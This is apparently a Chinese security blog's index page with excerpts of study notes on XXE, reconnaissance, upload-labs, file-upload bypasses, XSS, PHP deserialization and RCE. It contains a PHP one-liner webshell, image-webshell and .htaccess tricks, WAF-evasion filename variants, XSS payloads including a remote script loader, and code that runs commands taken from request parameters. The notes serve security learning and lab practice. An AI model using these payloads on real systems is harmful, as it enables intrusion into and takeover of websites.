XXE漏洞学习
一篇足矣:一篇文章带你深入理解漏洞之 XXE 漏洞。
从 “四、我们能做什么” 开始看。
关于漏洞检测,可以手动更改 Content-Type 并传入 XML 数据,如果它接受了,那么可以进一步测试有没有 XXE 。
渗透测试基础入门
ping www.baidu.com 这种大站时,给出来的 IP 一般不是真实 IP 。
像百度这样的大厂一般会在全国各地架设 CDN(Content Delivery Network),即内容分发网络。
CDN 是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。简言之就是既减少主机负担,又方便用户访问。CDN 的关键技术主要有内容存储和分发技术。
显然如果你渗透的是 CDN 站而不是主站的话,是没有意义的。
web 的大致组成架构:网站源码、web 中间件、操作系统、数据库。
web 安全研究的大致就是这几个方向。
信息搜集常用的搜索引擎语法:
inurl ,URL 存在关键字的网页。如搜索 inurl:edu.cn ,将返回 url 中存在 edu.cn 的结果。
site ,指定域名。
intitle ,标题中存在关键字的网页。
intext ,正文中存在关键字的网页。如搜索 intext:Powered by Discuz ,可检索到一些用 Discuz CMS 构建的网站。
filetype ,指定文件类型。
应用举例:intitle:管理系统 filetype:php ,查询标题含“管理系统”,且用 php 构建的网页。
域名搜集在渗透中的作用。
举个例子,学院官网(computer.xxx.edu.cn)和学校官网(www.xxx.edu.cn),很明显只存在一个子域名不同的差别。由于二者的页面布局不一样,可能学院官网和学校官网用的是两套不一样的程序来构建的,但很可能两个域名解析到的是同一个 IP 。事实就是这样,ping 一下就知道了。
www 域名对应该 IP 的主页,computer 对应该 IP 的分页。如果我们授权对 www.xxx.edu.cn 进行渗透,但没找到突破口,而此时搜集到一个 computer 的域名,发现该域名与 www 共享一个 IP ,那么可以从 computer 对应的站找突破口。
除了搜集子域名,还需要搜集域名后缀,如 .com、.org、.top 。可利用相关工具,或进行域名注册查询,根据如 xxx.com 的注册信息查询。
本地 hosts 。
路径:C:\Windows\System32\drivers\etc\hosts
作用:不管是访问网站,还是 ping 之类的,在进行 DNS 域名解析时,首先是在本地 hosts 文件里搜索,搜索不到再请求 DNS 服务器进行解析。假设在里面加上 1.2.3.4 www.baidu.com ,然后再 ping 一下,会发现域名解析成了 1.2.3.4 的 IP 。当然,此时会 ping 不通,访问 www.baidu.com 也会失败。
目录扫描工具原理:字典、发包、根据响应状态码判断目录。理论上自己可以写一个出来,关键在于字典。
子域名扫描工具也是如此,但一般不好用,信息量大且无序,难以找到真正有用的一些域名。一种较好的办法是使用 Google ,搜索如 site:baidu.com ,然后选取前 10~20 页作为搜集内容。
有的程序判断你是 PC 端访问还是移动端访问,仅仅是通过 UA 头判断。“同一个用户只能投票一次”这种判断是不是同一个访问者,是通过 IP 地址判断。这些简单的判断,我们可以通过改 UA 、挂代理来绕过。
APK 反编译、APP 抓包获得的网站,用 PC 端访问当然会出错(如显示 400 Bad Request),因为请求包不对,得改为手机端访问时的包格式。
在进行目录扫描的时候,扫 IP 地址比扫域名更好。有的网站在构建的时候,IP 地址与域名解析的目录是不一样的。通常 IP 地址对应的解析目录比域名更高一级,IP 地址解析的是根目录,这往往也是有的网站换做用 IP 地址访问时会显示禁止访问的原因。
IIS 网站安全设置:
身份验证:https://www.cnblogs.com/WarBlog/p/11250865.html
IP 地址和域限制:设置指定 IP 和域名访问该网站的权限。
0777 文件权限含义解析:
文件权限通常是三位数字表示,这里的首位 0 表示的是十 ...
upload-labs小记
前面的话 本篇 writeup 只针对部分关卡。
查看Apache版本(这只是其中的一个方法):
本地 upload-labs 使用的是 phpStudy 搭建的,但 phpStudy 操作面板里没有显示 Apache 版本。
在 phpStudy 安装目录里找到 Apache/bin/ 目录,在此打开 cmd 窗口,输入 httpd -v 即可,本地显示为 2.4.43 。
Pass-01 客户端验证 以下方法均可:
禁用 JS 。
删除表单处的 onsubmit 。
本地先改为合法扩展名,抓包再改回去。
Pass-02 MIME类型验证 抓包,修改 MIME 类型。建议改为 image/gif ,方便打组合拳。
Pass-03 Apache解析漏洞 环境模拟:打开配置文件 httpd.conf,Ctrl+F 找到 AddType application/x-httpd-php 处,把 # 去掉,保存、重启。
抓包,把扩展名改为 .phtml 即可。
此配置信息是告诉 Apache 服务器,把扩展名是这几个的文件当 php 文件来解析,所以往里加 .abc 也一样当 php 来解析。其本身配置信息里只有 .php 和 .phtml,其他的如 .php1、.php3、.pht 什么的,除 ctf 外,实际情况下一般不会冒着风险往里加这些。
Pass-04 .htaccess .htaccess 是一个配置文件,运行于 Apache 上,需要把 httpd.conf 里 AllowOverride 处全改为 All 才允许 Apache 启用 .htaccess 文件。此时,当 .htaccess 文件被放置在一个通过 Apache 加载的目录中时,.htaccess 文件会被 Apache 检测并执行,.htaccess 文件将覆盖 Apache 的原配置文件 httpd.conf 。注意,.htaccess 文件仅作用于所在目录及其子目录。
环境模拟:更改 httpd.conf 相关设置,保存、重启。
创建一个 .htaccess 文件,写入:
1SetHandler application/x-httpd-php
即让 Apache 把所有文件都当成 php 来解析,如果仅指定特定文件名当作 php 来解析,则写为:
123<FilesMatch "文件名"> SetHandler application/x-httpd-php</FilesMatch>
下一步,先上传 .htaccess 文件,再上传图片马,然后访问图片马即可。
Pass-05 .user.ini .ini 文件是 Windows 系统的配置文件,.user.ini 将覆盖 php 配置文件 php.ini,但 .user.ini 只能被 CGI/FastCGI 处理。
除了 php.ini 外,PHP 还会从被执行的 php/ 目录开始一直上升到 web 根目录扫描 .ini 文件。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。注意,同 .htaccess,.user.ini 只能用于访问其所在目录及子目录下的文件时进行覆盖。
在 php.ini 文件中相关内容如下:
1234567891011;;;;;;;;;;;;;;;;;;;;; php.ini Options ;;;;;;;;;;;;;;;;;;;;;; Name for user-defined php.ini (.htaccess) files. Default is ".user.ini";user_ini.filename = ".user.ini"; To disable this feature set this option to empty value;user_ini.filename =; TTL for user-defined php.ini files (time-to-live) in seconds. Default is 300 seconds (5 minutes);user_ini.cache_ttl = 300
user_ini.filename 设定 PHP 在搜寻时的目标文件名,默认是 .us ...
文件上传漏洞学习
建议结合 upload-labs 笔记一起看
常见突破方式客户端验证
禁用 js 。
删除、更改 js 或 js 的触发条件。
MIME类型检测 抓包,改 Content-Type 。建议改为 image/gif,方便打组合拳。
服务端扩展名黑名单
抓住 Windows 的特点:
对大小写不敏感
自动去除扩展名末尾的空格、点、::$DATA
限制:php-版本号-nts+Apache 无法解析。
抓住 PHP 的特点:
<5.3.4 版本存在 00 截断漏洞
user.ini 可覆盖 php.ini
move_upload_file 函数会忽略扩展名末尾的 /.
抓住 Apache 的特点:
.phtml、.php2、.php3、.php5、.pht 等可做为 .php 解析,但需要配置文件进行针对性修改
.htaccess 文件可覆盖 Apache 配置文件 httpd.conf,也需要配置文件进行针对性修改
分号截断。修改为如 filename="1.jpg;.php" ,有一些 waf 遇 ; 会识别为请求字段的结束,从而忽略 ; 后面的内容。
换行。修改为如:
123filename="1.php"
换行符会在后端程序中自动转换为 \n ,则 filename 的值为 1.p\nh\np ,从而绕过 waf 。
在 Windows 中,这里的换行符会自动去掉,最终文件名还是 1.php 。
文件内容检测
PHP 一句话木马:<?php eval($_POST['cmd']); ?>
图片马绕过。制作:执行命令 copy/b 图片名+文件名 图片马名 。
文件幻术绕过。制作:在 <?php ?> 前添加文件幻术 ,并将 .php 改为对应扩展名。
GIF 文件幻术:47 49 46 38 39 61 (GIF89a)
注意:
只检测文件头(前2个字节):文件幻术、图片马均可突破
使用 getimagesize 函数:需图片马
使用 exif_imagetype 函数:需图片马
代码逻辑漏洞
条件竞争
二次渲染
其他
数据溢出 请求包中加入大量垃圾数据(数字、字母等字符组合)来干扰 waf 的检测,从而绕过 waf 。
Content-Disposition 与 name 之间加入垃圾数据。
name 与 filename 之间加入垃圾数据。
注意,垃圾数据后面要加上分号,防止吞噬垃圾数据后面的请求字段。
符号变异 如果 waf 会对请求包中的 filename 值进行检测,那么可以:
1234567891011121314filename="1.phpContent-Type: image/jpegfilename='1.phpContent-Type: image/jpegfilename=1.phpContent-Type: image/jpegfilename=""1.phpContent-Type: image/jpegfilename="1".phpContent-Type: image/jpeg
根据开发的思路,获取 filename 的值大概率是匹配引号内的值。现在将引号不闭合或者塞入非黑名单的值,那么 filename 的值将被干扰,从而绕过 waf 。
解析漏洞概述 文件解析漏洞,是指 web 容器在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞,攻击者可以利用该漏洞实现非法文件的解析。
Apache Apache 的解析漏洞依赖于一个特性: Apache 默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在 mime.types 文件内),则跳过继续向左识别,直到识别到合法后缀才进行解析。像 .rar、.gif 是 Apache 不能识别的,假如上传文件 xxx.php.bb.rar,.rar 不认识,向前解析,.bb 也不认识,向前解析,直到 .php 。
影响版本:
Apache 2.0.x <= 2.0.59
Apache 2.2.x <= 2.2.17
Apache 2.2.2 <= 2.2.8
CVE-2017-15715 上传一个后缀末尾包含换行符的文件(\x0A) ...
XSS漏洞学习
简介演示 反射型 XSS :
xss.html
123456789101112<!DOCTYPE html><html> <head></head> <body> <p>Tell me who you are, and I will welcome you!</p> <form action="./test.php" method="GET"> Your name: <input type="text" name="user"/> <button type="submit">send</button> </form> </body></html>
test.php
1234<?php $user = $_GET['user']; echo "<p>Hello, $user</p>";?>
原本这只是一个简单的欢迎:
但如果输入的是恶意代码,如 <script>alert("Hacker!");</script> ,那就成 XSS 了:
漏洞成因 网站只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输岀,导致输岀的数据中存在可被浏览器执行的代码。
分类反射型 又称非持久型 XSS ,这种攻击方式往往具有一次性,只在用户单击时触发。例如当用户提交一个表单时,跨站代码随同请求包发送到服务端,然后服务端反射回来,之后被浏览器解析跨站代码触发 XSS 漏洞。
这类跨站的代码通常不存储在服务端。受 XSS Auditor(Chrome内置的XSS保护)、NoScript 等防御手段的影响,反射型 XSS 的危害相对较小。
存储型 又称持久型 XSS ,比反射型 XSS 更具有威胁性,攻击脚本被永久存放在服务器的数据库或文件中。
攻击方式:攻击者在发帖或留言等过程中,将恶意脚本连同正常信息一起写入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在用户的浏览器中执行。
DOM型 基于 JS 的一种 XSS ,不需要与服务器进行交互,其通过修改页面 DOM 节点数据信息而形成 XSS 攻击。
攻击方式:用户请求一个由攻击者提供的 URL ,其中包含恶意代码,当用户的浏览器处理这个响应时,原始页面的 DOM 将会被修改,从而触发 XSS 漏洞。
通用型 也叫做 UXSS ,是一种利用浏览器或者浏览器扩展程序的漏洞来制造产生 XSS 的一种攻击类型。
利用<script>
<script src="http://xxx/xss.js"></script>
<script>xss code</script>
<img>
<img src="x" onerror="alert(1)"/>
<img src="1" onerror="eval(alert('xss'))"/>
<img src="1" onmouseover="alert('xss')"/>
<img src="javascript:alert('xss')"> ,IE7 以下。
<img src="" style="xss:expression(alert('xss'))"/> ,IE7 以下。
<a>
<a href="javascript:alert('xss') ...
PHP反序列化漏洞学习
函数序列/反序列化函数serialize() 序列化对象或数组,并返回一个字符串。
1234$sites = array('Google', 'Runoob', 'Facebook');$serialized_data = serialize($sites);echo $serialized_data;//a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
可进行序列化的对象:
类型
结构
String
s:长度:”值”;
Integer
i:值;
Boolean
b:值(1或0);
Null
N;
Array
a:长度:{……}
Object
O:类名长度:”类名”:类中变量个数:{……}
Object 类型序列化:
123456789101112131415<?phpclass student{ public $name="Tom"; protected $age=18; private $sex="male"; public function hello() { echo "hello"; }}$class = new student();$serialize = serialize($class);echo $serialize;?>//O:7:"student":3:{s:4:"name";s:3:"Tom";s:6:"*age";i:18;s:12:"studentsex";s:4:"male";}//注意变量对应的访问修饰符,public正常,private是%00类名%00属性名,protected是%00*%00属性名
unserialize() 将通过 serialize() 函数序列化后的对象或数组进行反序列化,返回序列化前的内容。如果传递的字符串不可反序列化,则返回 FALSE,并产生一个 E_NOTICE。示例:
1234567891011$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';$unserialized_data = unserialize($str);print_r($unserialized_data);/*Array( [0] => Google [1] => Runoob [2] => Facebook)*/
魔术方法__construct() 构造方法。
12345678910111213141516171819202122<?phpclass student{ public $name, $age, $sex; public function __construct($name, $age, $sex){ $this->name = $name; $this->age = $age; $this->sex = $sex; $this->whoami(); } public function whoami(){ echo $this->name."\n"; echo $this->age."\n"; echo $this->sex; }}$student = new student("Tom", "18", "male");?>/*Tom18male*/
...
RCE漏洞学习
简介 RCE,Remote Command/Code Execute,远程命令/代码执行。
命令拼接符
注意,通过 url 传入命令时,拼接符需要进行 url 编码。
Windows命令1 || 命令2 命令 1 执行成功,则不执行命令 2 ;命令 1 执行失败,则执行命令 2 。
命令1 | 命令2 命令 1 执行成功,则执行命令 2 ,仅显示命令 2 的执行结果;命令 1 执行失败,则不执行命令 2 。
命令1 && 命令2 命令 1 执行成功,则执行命令 2 ,两个命令的执行结果都输出;命令 1 执行失败,则不执行命令 2 。
命令1 & 命令2 命令 1、2 一起执行,互不影响。
Linux命令1 ; 命令2 命令 1、2 依次执行,互不影响。
命令1 | 命令2 管道符,命令 1 的执行结果做为命令 2 的输入。
命令 1 执行成功,则执行命令 2 ,仅显示命令 2 的执行结果;命令 1 执行失败,则不执行命令 2 。
命令1 || 命令2 命令 1 执行成功,则不执行命令 2 ;命令 1 执行失败,则执行命令 2 。
命令1 && 命令2 命令 1 执行成功,则执行命令 2 ,两个命令的执行结果都输出;命令 1 执行失败,则不执行命令 2 。
函数PHPeval() 把字符串按照 PHP 代码来执行。
1234eval(phpinfo()); //可以eval(phpinfo();); //报错eval("phpinfo();"); //可以eval("phpinfo()"); //报错
12345//?cmd=phpinfo(); 分号必须有<?php $cmd = $_GET["cmd"]; eval($cmd); //此处及其他类似这样的变量用法,PHP会自动在变量的替代内容外包裹引号?>
assert() 如果是字符串将会被当作 PHP 代码执行。
1234assert(phpinfo()); //可以assert(phpinfo();); //报错assert("phpinfo()"); //可以assert("phpinfo();"); //可以
12345//?cmd=phpinfo(); 分号可有可无<?php $cmd = $_GET["cmd"]; assert($cmd);?>
preg_replace()1preg_replace($pattern, $replacement, $subject);
执行一个正则表达式的搜索和替换。
$pattern 为正则表达式,$subject 为目标字符串,将匹配到的部分用 $replacement 替换。
当 $pattern 处出现 /e 修正符,$replacement 会被当作 PHP 代码执行。
1234//?cmd=phpinfo(); 分号可有可无<?php preg_replace("/test/e", $_GET["cmd"], "jutst test");?>
call_user_func()1call_user_func(函数a, xxx)
调用函数 a ,xxx 为函数 a 的参数。
经测试,只有 assert 可以,eval 不行。
1234//?cmd=phpinfo(); 分号可有可无<?php call_user_func(assert, $_GET["cmd"]);?>
system() 和 passthru() 执行操作系统命令,仅当执行成功时输出执行结果。
1234system/passthru("命令"); //标准写法system/passthru(命令); //可以,但会抛出错误(system/passthru)("命令"); //可以,但会抛出错误(system/passthru)(命令); //可以,但会抛出错误
12345//?cmd=ver 不要在命令两边加引号,否则无法执行<?php $cmd = $_GET["cmd"]; syst ...
Hello World
Hello, World!
这是我的第一篇博客,从今天开始就一起探索未知的世界吧!